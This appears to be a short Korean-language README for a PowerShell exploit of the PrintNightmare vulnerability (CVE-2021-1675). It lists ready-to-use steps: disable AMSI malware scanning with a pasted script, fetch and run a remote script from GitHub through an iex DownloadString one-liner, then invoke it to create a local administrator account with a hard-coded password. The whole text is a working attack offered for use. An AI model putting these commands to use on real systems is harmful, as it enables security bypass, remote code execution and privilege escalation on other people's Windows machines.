
PowerShell 익스플로잇 for CVE-2021-1675 PrintNightmare로, 취약한 Windows 시스템에서 AMSI를 비활성화하고 로컬 관리자 계정을 생성합니다.
#AMSI 비활성화: (PowerShell에 복사) https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt
#invoke-script 실행 iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')
#관리자 계정 생성 Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"